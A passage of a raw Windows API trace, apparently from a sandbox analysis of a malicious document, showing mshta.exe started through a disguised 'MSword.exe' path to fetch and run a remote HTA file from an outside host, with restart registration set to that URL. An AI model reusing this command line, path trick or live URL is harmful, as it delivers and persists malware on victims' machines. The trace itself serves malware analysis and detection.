RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_DATABINDING_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.618] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_DATABINDING_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.618] RegCloseKey (hKey=0x0) returned 0x6 [0031.618] RegCloseKey (hKey=0x0) returned 0x6 [0031.618] RegCloseKey (hKey=0x98) returned 0x0 [0031.618] RegCloseKey (hKey=0x94) returned 0x0 [0031.618] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x94) returned 0x0 [0031.618] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x98) returned 0x0 [0031.618] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENFORCE_BSTR", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.618] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ENFORCE_BSTR", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.618] RegCloseKey (hKey=0x0) returned 0x6 [0031.618] RegCloseKey (hKey=0x0) returned 0x6 [0031.618] RegCloseKey (hKey=0x94) returned 0x0 [0031.618] RegCloseKey (hKey=0x98) returned 0x0 [0031.619] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x98) returned 0x0 [0031.619] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x94) returned 0x0 [0031.619] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.619] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.619] RegCloseKey (hKey=0x0) returned 0x6 [0031.619] RegCloseKey (hKey=0x0) returned 0x6 [0031.619] RegCloseKey (hKey=0x98) returned 0x0 [0031.619] RegCloseKey (hKey=0x94) returned 0x0 [0031.619] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0031.620] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x98) returned 0x0 [0031.620] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x9c) returned 0x0 [0031.620] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.621] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.621] RegCloseKey (hKey=0x0) returned 0x6 [0031.621] RegCloseKey (hKey=0x0) returned 0x6 [0031.621] RegCloseKey (hKey=0x98) returned 0x0 [0031.621] RegCloseKey (hKey=0x9c) returned 0x0 [0031.621] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x9c) returned 0x0 [0031.621] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x98) returned 0x0 [0031.621] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.621] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.621] RegCloseKey (hKey=0x0) returned 0x6 [0031.621] RegCloseKey (hKey=0x0) returned 0x6 [0031.621] RegCloseKey (hKey=0x9c) returned 0x0 [0031.621] RegCloseKey (hKey=0x98) returned 0x0 [0031.621] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x98) returned 0x0 [0031.621] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x9c) returned 0x0 [0031.622] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.622] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.622] RegCloseKey (hKey=0x0) returned 0x6 [0031.622] RegCloseKey (hKey=0x0) returned 0x6 [0031.622] RegCloseKey (hKey=0x98) returned 0x0 [0031.622] RegCloseKey (hKey=0x9c) returned 0x0 [0031.622] GetSystemMetrics (nIndex=68) returned 4 [0031.622] GetSystemMetrics (nIndex=69) returned 4 [0031.622] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=20) returned 0x14 [0031.623] GetSystemDefaultLCID () returned 0x409 [0031.623] GetVersionExW (in: lpVersionInformation=0x3bef6c*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x778ce36c, dwMinorVersion=0x778ce0d2, dwBuildNumber=0x6fbdafd8, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3bef6c*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0031.623] GetUserDefaultUILanguage () returned 0x409 [0031.623] GetLocaleInfoW (in: Locale=0x409, LCType=0x58, lpLCData=0x3beebc, cchData=16 | out: lpLCData="\x03") returned 16 [0031.624] GetKeyboardLayoutList (in: nBuff=32, lpList=0x3beeec | out: lpList=0x3beeec) returned 1 [0031.624] GetSystemMetrics (nIndex=4096) returned 0 [0031.624] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf010 | out: phkResult=0x3bf010*=0x9c) returned 0x0 [0031.624] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf014 | out: phkResult=0x3bf014*=0x98) returned 0x0 [0031.624] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CLEANUP_AT_FLS", ulOptions=0x0, samDesired=0x1, phkResult=0x3befd0 | out: phkResult=0x3befd0*=0x0) returned 0x2 [0031.624] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="FEATURE_CLEANUP_AT_FLS", ulOptions=0x0, samDesired=0x1, phkResult=0x3befd0 | out: phkResult=0x3befd0*=0x0) returned 0x2 [0031.624] RegCloseKey (hKey=0x0) returned 0x6 [0031.624] RegCloseKey (hKey=0x0) returned 0x6 [0031.624] RegCloseKey (hKey=0x9c) returned 0x0 [0031.624] RegCloseKey (hKey=0x98) returned 0x0 [0031.624] GetModuleFileNameW (in: hModule=0x6f6a0000, lpFilename=0x3bee78, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshtml.dll" (normalized: "c:\\windows\\syswow64\\mshtml.dll")) returned 0x1e [0031.624] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0031.624] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0031.624] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0031.624] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0031.624] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0031.624] RegisterClipboardFormatA (lpszFormat="MS Forms CLSID") returned 0xc187 [0031.625] RegisterClipboardFormatA (lpszFormat="MS Forms Text") returned 0xc188 [0031.625] GetDC (hWnd=0x0) returned 0x30107ec [0031.625] SHCreateShellPalette (hdc=0x0) returned 0x13080903 [0031.625] GetPaletteEntries (in: hpal=0x13080903, iStart=0x0, cEntries=0x100, pPalEntries=0x6fbda494 | out: pPalEntries=0x6fbda494) returned 0x100 [0031.625] SHGetInverseCMAP (in: pbMap=0x6fbd8a7c, cbMap=0x4 | out: pbMap=0x6fbd8a7c) returned 0x0 [0031.625] GetDeviceCaps (hdc=0x30107ec, index=38) returned 32409 [0031.625] ReleaseDC (hWnd=0x0, hDC=0x30107ec) returned 1 [0031.625] GetCurrentProcessId () returned 0x9c0 [0031.626] _vsnprintf (in: _DstBuf=0x3bf3bc, _MaxCount=0x16, _Format="%s%08lX", _ArgList=0x3bf084 | out: _DstBuf="#MSHTML#PERF#000009C0") returned 21 [0031.626] OpenFileMappingA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="#MSHTML#PERF#000009C0") returned 0x0 [0031.626] GetVersionExW (in: lpVersionInformation=0x3bf0a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7837a8, dwMinorVersion=0x100, dwBuildNumber=0x79deb0, dwPlatformId=0x780000, szCSDVersion="A") | out: lpVersionInformation=0x3bf0a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0031.626] GetModuleHandleW (lpModuleName="advapi32") returned 0x763f0000 [0031.626] GetProcAddress (hModule=0x763f0000, lpProcName="EventWrite") returned 0x77900c59 [0031.626] GetProcAddress (hModule=0x763f0000, lpProcName="EventRegister") returned 0x778df6ba [0031.626] GetProcAddress (hModule=0x763f0000, lpProcName="EventUnregister") returned 0x778f9241 [0031.626] EtwEventRegister () returned 0x0 [0031.626] EtwRegisterTraceGuidsW () returned 0x0 [0031.626] EtwRegisterTraceGuidsW () returned 0x0 [0031.626] EtwEventRegister () returned 0x0 [0031.627] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Program Files (x86)\\Microsoft Office\\Office12\\outllib.dll", lpdwHandle=0x3bee6c | out: lpdwHandle=0x3bee6c) returned 0x0 [0031.628] GetModuleHandleW (lpModuleName=0x0) returned 0xdf0000 [0031.628] GetModuleFileNameW (in: hModule=0xdf0000, lpFilename=0x3bee78, nSize=0x104 | out: lpFilename="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe" (normalized: "c:\\windows\\system32\\mshta.exe")) returned 0x4e [0031.628] PathFindFileNameW (pszPath="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe") returned="mshta.exe" [0031.642] GetCurrentProcessId () returned 0x9c0 [0031.642] GetCurrentProcessId () returned 0x9c0 [0031.644] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Local\\!PrivacIE!SharedMemory!Mutex") returned 0xb8 [0031.644] GetLastError () returned 0x0 [0031.655] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10, lpName="Local\\!PrivacIE!SharedMem!Counter") returned 0xfc [0031.655] MapViewOfFile (hFileMappingObject=0xfc, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x110000 [0031.657] RegCloseKey (hKey=0x42) returned 0x0 [0031.657] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76520000 [0031.657] GetProcAddress (hModule=0x76520000, lpProcName="RegisterApplicationRestart") returned 0x7655b53c [0031.657] lstrlenA (lpString="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta ") returned 49 [0031.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x782c6f, cbMultiByte=-1, lpWideCharStr=0x291e30, cchWideChar=50 | out: lpWideCharStr="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta ") returned 50 [0031.657] RegisterApplicationRestart (pwzCommandline="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta ", dwFlags=0x0) returned 0x0 [0031.657] GetProcAddress (hModule=0x6f6a0000, lpProcName="RunHTMLApplication") returned 0x6f6fe710 [0031.660] GetCommandLineW () returned="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe http://w-szczecin.pl/img2/NEW15_10.doc/index.hta " [0031.663] OleInitialize (pvReserved=0x0) returned 0x0 [0031.671] IsWindow (hWnd=0x0) returned 0 [0031.671] RegisterClassW (lpWndClass=0x3bf724) returned 0xc189 [0031.671] CreateWindowExW (dwExStyle=0x0, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xdf0000, lpParam=0x6fbd9680) returned 0x401f2 [0031.672] NtdllDefWindowProc_W () returned 0x0 [0031.672] NtdllDefWindowProc_W () returned 0x1 [0031.673] NtdllDefWindowProc_W () returned 0x0 [0031.675] NtdllDefWindowProc_W () returned 0x0 [0031.675] CreateWindowExW (dwExStyle=0x40000, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x401f2, hMenu=0x0, hInstance=0xdf0000, lpParam=0x6fbd9680) returned 0x30224 [0031.675] NtdllDefWindowProc_W () returned 0x0 [0031.675] NtdllDefWindowProc_W () returned 0x1 [0031.675] NtdllDefWindowProc_W () returned 0x0 [0031.676] NtdllDefWindowProc_W () returned 0x0 [0031.676] SetWindowLongW (hWnd=0x30224, nIndex=-16, dwNewLong=-2100363264) returned 114229248 [0031.676] NtdllDefWindowProc_W () returned 0x0 [0031.676] NtdllDefWindowProc_W () returned 0x0 [0031.676] NtdllDefWindowProc_W () returned 0x0 [0031.676] NtdllDefWindowProc_W () returned 0x0 [0031.676] NtdllDefWindowProc_W () returned 0x0 [0031.677] NtdllDefWindowProc_W () returned 0x0 [0031.677] SetWindowPos (hWnd=0x30224, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0031.677] NtdllDefWindowProc_W () returned 0x0 [0031.677] NtdllDefWindowProc_W () returned 0x0 [0031.677] NtdllDefWindowProc_W () returned 0x0 [0031.677] NtdllDefWindowProc_W () returned 0x0 [0031.678] NtdllDefWindowProc_W () returned 0x0 [0031.678] SendMessageW (hWnd=0x30224, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0031.678] NtdllDefWindowProc_W () returned 0x0 [0031.678] NtdllDefWindowProc_W () returned 0x0 [0031.682] PathRemoveArgsW (in: pszPath="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta " | out: pszPath="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") [0031.682] PathRemoveBlanksW (in: pszPath="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta" | out: pszPath="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") [0031.682] PathUnquoteSpacesW (in: lpsz="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta" | out: lpsz="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 0 [0031.683] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppmk=0x3bf784*=0x0, dwFlags=0x1 | out: ppmk=0x3bf784*=0x7b14d8) returned 0x0 [0031.804] CoCreateInstance (in: rclsid=0x6f7d9770*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6f85b75c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x6fbd96d4 | out: ppv=0x6fbd96d4*=0x7b5278) returned 0x0 [0031.813] DllGetClassObject (in: rclsid=0x7b300c*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x76d7ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bea34 | out: ppv=0x3bea34*=0x6fbd8cb0) returned 0x0 [0031.816] GetCurrentThreadId () returned 0x9c4 [0031.817] RegisterClassExW (param_1=0x3be8cc) returned 0xc18a [0031.817] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc18a, lpWindowName=0x0, dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x6f6a0000, lpParam=0x0) returned 0x30226 [0031.818] GetWindowLongW (hWnd=0x30226, nIndex=-20) returned 0 [0031.818] NtdllDefWindowProc_W () returned 0x1 [0031.818] NtdllDefWindowProc_W () returned 0x0 [0031.818] NtdllDefWindowProc_W () returned 0x0 [0031.818] NtdllDefWindowProc_W () returned 0x0 [0031.818] NtdllDefWindowProc_W () returned 0x0 [0031.818] CreateCompatibleDC (hdc=0x0) returned 0x9010910 [0031.818] GetDeviceCaps (hdc=0x9010910, index=90) returned 96 [0031.818] GetDeviceCaps (hdc=0x9010910, index=88) returned 96 [0031.818] GetSystemMetrics (nIndex=68) returned 4 [0031.818] GetSystemMetrics (nIndex=69) returned 4 [0031.818] GetSystemMetrics (nIndex=2) returned 17 [0031.818] GetSystemMetrics (nIndex=3) returned 17 [0031.818] GetStockObject (i=13) returned 0x18a002e [0031.818] SelectObject (hdc=0x9010910, h=0x18a002e) returned 0x18a002e [0031.818] GetTextMetricsW (in: hdc=0x9010910, lptm=0x3be964 | out: lptm=0x3be964) returned 1 [0031.818] SelectObject (hdc=0x9010910, h=0x18a002e) returned 0x18a002e [0031.818] DeleteObject (ho=0x18a002e) returned 1 [0031.818] GetSystemDefaultLCID () returned 0x409 [0031.818] GetUserDefaultLCID () returned 0x409 [0031.818] GetACP () returned 0x4e4 [0031.818] GetLocaleInfoW (in: Locale=0x400, LCType=0x1014, lpLCData=0x3be8d8, cchData=41 | out: lpLCData="1") returned 2 [0031.818] _wtoi (_String="1") returned 1 [0031.818] RegCloseKey (hKey=0x0) returned 0x6 [0031.819] GetLocaleInfoW (in: Locale=0x400, LCType=0x13, lpLCData=0x3be92c, cchData=16 | out: lpLCData="0123456789") returned 11 [0031.819] SystemParametersInfoW (in: uiAction=0x46, uiParam=0x0, pvParam=0x6fbdb038, fWinIni=0x0 | out: pvParam=0x6fbdb038) returned 1 [0031.819] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x3be9a0, fWinIni=0x0 | out: pvParam=0x3be9a0) returned 1 [0031.819] GetSystemWindowsDirectoryW (in: lpBuffer=0x3be7ac, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0031.819] lstrlenW (lpString="C:\\Windows") returned 10 [0031.819] lstrlenW (lpString="\\WindowsShell.manifest") returned 22 [0031.819] CreateActCtxW (pActCtx=0x3be788) returned 0x7b433c [0031.820] ActivateActCtx (in: hActCtx=0x7b433c, lpCookie=0x3be758 | out: hActCtx=0x7b433c, lpCookie=0x3be758) returned 1 [0031.820] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x74820000 [0031.824] DeactivateActCtx (dwFlags=0x0, ulCookie=0x12410001) returned 1 [0031.824] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInset", nDefault=11) returned 0xb [0031.825] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollDelay", nDefault=50) returned 0x32 [0031.825] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0031.825] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInterval", nDefault=50) returned 0x32 [0031.825] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3be3b8, nSize=0x104 | out: lpFilename="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe" (normalized: "c:\\windows\\system32\\mshta.exe")) returned 0x4e [0031.825] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3be5c0, nSize=0x104 | out: lpFilename="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe" (normalized: "c:\\windows\\system32\\mshta.exe")) returned 0x4e [0031.825] GetCurrentProcess () returned 0xffffffff [0031.825] GetModuleBaseNameW (in: hProcess=0xffffffff, hModule=0x0, lpBaseName=0x3be7c8, nSize=0x104 | out: lpBaseName="mshta.exe") returned 0x9 [0031.825] PathFindFileNameW (pszPath="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe") returned="mshta.exe" [0031.826] FindAtomW (lpString="TridentEnableHiRes") returned 0x0 [0031.826] SHGetValueW (in: hkey=0x80000001, pszSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", pszValue="NoFileMenu", pdwType=0x3be3a4, pvData=0x3be3b0, pcbData=0x3be3ac*=0x4 | out: pdwType=0x3be3a4*=0x0, pvData=0x3be3b0, pcbData=0x3be3ac*=0x4) returned 0x2 [0031.826] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3be31c | out: phkResult=0x3be31c*=0x1e0) returned 0x0 [0031.826] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3be320 | out: phkResult=0x3be320*=0x1dc) returned 0x0 [0031.826] RegOpenKeyExW (in: hKey=0x1dc, lpSubKey="FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS", ulOptions=0x0, samDesired=0x1, phkResult=0x3be2dc | out: phkResult=0x3be2dc*=0x0) returned 0x2 [0031.826] RegOpenKeyExW (in: hKey=0x1e0, lpSubKey="FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS", ulOptions=0x0, samDesired=0x1, phkResult=0x3be2dc | out: phkResult=0x3be2dc*=0x0) returned 0x2 [0031.826] RegCloseKey (hKey=0x0) returned 0x6 [0031.826] RegCloseKey (hKey=0x0) returned 0x6 [0031.826] RegCloseKey (hKey=0x1e0) returned 0x0 [0031.826] RegCloseKey (hKey=0x1dc) returned 0x0 [0031.827] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0031.827] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0031.827] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0031.827] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0031.827] GetCurrentThreadId () returned 0x9c4 [0031.827] RegisterClipboardFormatW (lpszFormat="WM_HTML_GETOBJECT") returned 0xc18b [0031.837] CoInternetIsFeatureEnabled (FeatureEntry=0xc, dwFlags=0x2) returned 0x1 [0031.838] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x6fbd8cd4, dwReserved=0x0 | out: ppSM=0x6fbd8cd4*=0x7b4d18) returned 0x0 [0031.852] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x3be6cc | out: ppURI=0x3be6cc*=0x7ac124) returned 0x0 [0031.852] IUri:GetPropertyDWORD (in: This=0x7ac124, uriProp=0x11, pdwProperty=0x3be6b4, dwFlags=0x0 | out: pdwProperty=0x3be6b4*=0x11) returned 0x0 [0031.852] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x7b59ac, dwReserved=0x0 | out: ppSM=0x7b59ac*=0x7b70c8) returned 0x0 [0031.857] IInternetSecurityManager:SetSecuritySite (This=0x7b70c8, pSite=0x7b59b4) returned 0x0 [0031.857] IUnknown:AddRef (This=0x7b59b4) returned 0x28 [0031.857] IUnknown:QueryInterface (in: This=0x7b59b4, riid=0x754761d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3be684 | out: ppvObject=0x3be684*=0x7b59b8) returned 0x0 [0031.858] IServiceProvider:QueryService (in: This=0x7b59b8, guidService=0x7547f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7547f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x7b70f0 | out: ppvObject=0x7b70f0*=0x0) returned 0x80004002 [0031.858] IServiceProvider:QueryService (in: This=0x7b59b8, guidService=0x7547f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7547f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x7b70ec | out: ppvObject=0x7b70ec*=0x0) returned 0x80004002 [0031.858] IServiceProvider:QueryService (in: This=0x7b59b8, guidService=0x7546c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7546c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x7b70e8 | out: ppvObject=0x7b70e8*=0x0) returned 0x80004002 [0031.858] IUnknown:Release (This=0x7b59b8) returned 0x0 [0031.858] IInternetSecurityManager:GetSecurityId (in: This=0x7b70c8, pwszUrl="about:blank", pbSecurityId=0x3be720, pcbSecurityId=0x3be714*=0x200, dwReserved=0x0 | out: pbSecurityId=0x3be720*=0x61, pcbSecurityId=0x3be714*=0xf) returned 0x0 [0031.885] DllGetClassObject (in: rclsid=0x7b3040*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x3bdca0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bd358 | out: ppv=0x3bd358*=0x6fbd8c70) returned 0x0 [0031.885] IUnknown:AddRef (This=0x6fbd8c70) [0031.885] IUnknown:Release (This=0x6fbd8c70) [0031.886] IUnknown:QueryInterface (in: This=0x6fbd8c70, riid=0x75464430*(Data1=0x1, Data2=0x0, Data3=0x0, 